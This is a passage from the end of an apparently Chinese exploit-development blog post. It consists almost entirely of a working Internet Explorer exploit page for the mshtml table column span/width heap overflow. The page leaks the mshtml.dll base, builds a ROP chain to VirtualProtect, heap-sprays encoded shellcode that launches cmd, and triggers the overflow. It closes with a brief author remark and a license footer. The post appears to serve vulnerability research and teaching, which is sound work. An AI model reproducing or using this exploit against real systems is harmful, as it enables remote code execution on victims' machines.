>&nbsp </col></table><table style="table-layout:fixed" ><col id="84" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="85" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="86" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="87" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="88" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="89" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="90" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="91" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="92" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="93" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="94" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="95" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="96" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="97" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="98" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="99" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="100" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="101" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="102" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="103" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="104" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="105" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="106" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="107" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="108" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="109" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="110" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="111" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="112" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="113" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="114" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="115" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="116" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="117" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="118" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="119" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="120" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="121" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="122" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="123" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="124" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="125" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="126" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="127" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="128" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="129" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="130" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="131" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="132" width="41" span="9" >&nbsp </col></table>
<script>
var mshtmlbase;
function leak() {
var leak_col = document.getElementById("132");
leak_col.width = 41;
leak_col.span = 19;
}
function get_leak(){
for (var i = 0; i < 500; i++) {
if (al[i].length > (0x100 - 6) / 2) {
var leak = al[i].substring((0x100 - 6) / 2 + (2 + 8) / 2, (0x100 - 6) / 2 + (2 + 8 + 4) / 2);
leak_addr = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16);
//alert("虚表指针: 0x" + leak_addr.toString(16));
mshtmlbase = leak_addr - 0x173af8;
//alert("mshtml.dll基址: 0x" + mshtmlbase.toString(16));
break;
}
}
}
function get_ropchain(mshtmlbase){
var arr = [
mshtmlbase + Number(0x1d704),
mshtmlbase + Number(0x6801b), //# POP EBP # RETN
mshtmlbase + Number(0x506603), //# XCHG EAX,ESP # RETN
mshtmlbase + Number(0x25d87c), //# POP EAX # RETN [mshtml.dll]
mshtmlbase + Number(0x1308), //# ptr to &VirtualProtect() [IAT mshtml.dll]
mshtmlbase + Number(0x1a02a1), //# MOV EAX,DWORD PTR DS:[EAX] # RETN [mshtml.dll]
mshtmlbase + Number(0xcab0e), //# XCHG EAX,ESI # RETN [mshtml.dll]
mshtmlbase + Number(0x50c71b), //# POP EBP # RETN [mshtml.dll]
mshtmlbase + Number(0x1613b4), //# & jmp esp [mshtml.dll]
mshtmlbase + Number(0xa43ab), //# POP EBX # RETN [mshtml.dll]
0x201, //# 0x00000201-> ebx
mshtmlbase + Number(0x27e491), //# POP EDX # RETN [mshtml.dll]
0x40, //# 0x00000040-> edx
mshtmlbase + Number(0x6d267), //# POP ECX # RETN [mshtml.dll]
mshtmlbase + Number(0x53cc05), //# &Writable location [mshtml.dll]
mshtmlbase + Number(0xfb460), //# POP EDI # RETN [mshtml.dll]
mshtmlbase + Number(0x424902), //# RETN (ROP NOP) [mshtml.dll]
mshtmlbase + Number(0xa8005), //# POP EAX # RETN [mshtml.dll]
0x90909090, // nop
mshtmlbase + Number(0x4f25d2), //# PUSHAD # RETN [mshtml.dll]
0x90909090,
0x90909090
];
return arr;
}
function d2u(dword) {
var uni = String.fromCharCode(dword & 0xFFFF);
uni += String.fromCharCode(dword>>16);
return uni;
}
function tab2uni(tab) {
var uni = ""
for(var i=0;i<tab.length;i++) {
uni += d2u(tab[i]);
}
return uni;
}
function heap_spray(){
//alert("spray...");
var offset = 0x354;
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("%uc933%u8b64%u3041%u408b%u8b0c%u1470%u96ad%u8bad%u1058%u538b%u033c%u8bd3%u7852%ud303%u728b%u0320%u33f3%u41c9%u03ad%u81c3%u4738%u7465%u7550%u81f4%u0478%u6f72%u4163%ueb75%u7881%u6408%u7264%u7565%u8be2%u2472%uf303%u8b66%u4e0c%u8b49%u1c72%uf303%u148b%u038e%u33d3%u53c9%u5152%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff53%u83d2%u0cc4%u5059%u6651%u6cb9%u516c%u7268%u2e74%u6864%u736d%u6376%uff54%u83d0%u10c4%u548b%u0424%uc933%ub951%u6d65%u6162%u8351%u246c%u6103%u6c83%u0224%u6862%u7973%u7473%u5054%ud2ff%uc483%u5510%uec8b%uec83%u3304%ubef6%u6d63%u0064%u7589%u8dfc%ufc75%uff56%u83d0%u08c4%u5a5e%ub95b%u7365%u6173%u8351%u246c%u6103%u5068%u6f72%u6863%u7845%u7469%u5354%ud2ff%uc933%uff51%u5fd0%u5b5e%uc481%u00c0%u0000%uec3b%u81e8%uff6a%u8bff%u5de5%u00c3");
var rop_chain = tab2uni(get_ropchain(mshtmlbase));
var nops = unescape("%u9090%u9090"); //NOPs
var shellcode = rop_chain + code;
while (nops.length < 0x1000) nops+= nops; // create big block of nops
var front_padding = nops.substring(0,offset);
var tail_padding = nops.substring(0, 0x800 - front_padding.length - shellcode.length);
shellcode = front_padding + shellcode + tail_padding;
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(2, 0x40000 - 0x21);
//spray
for (var i=0; i < 500; i++) {
heap_obj.alloc(block);
}
//alert("Spray done");
}
function over_trigger(){
var leak_col = document.getElementById("132");
leak_col.width = 943208;
leak_col.span = 39;
}
setTimeout("leak();", 400);
setTimeout("get_leak()", 450);
setTimeout("heap_spray();", 500)
setTimeout("over_trigger();", 700);
</script>
</body>
</html>

利用效果如文章开头所示。
注:我的exp可能不能通用,毕竟我到现在还不清楚为什么我这会是width*125。。。。

参考资料

文章作者: Hpasserby
文章链接: https://hpasserby.me/post/b72ee585.html
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hpasserby
支付宝赞赏
微信赞赏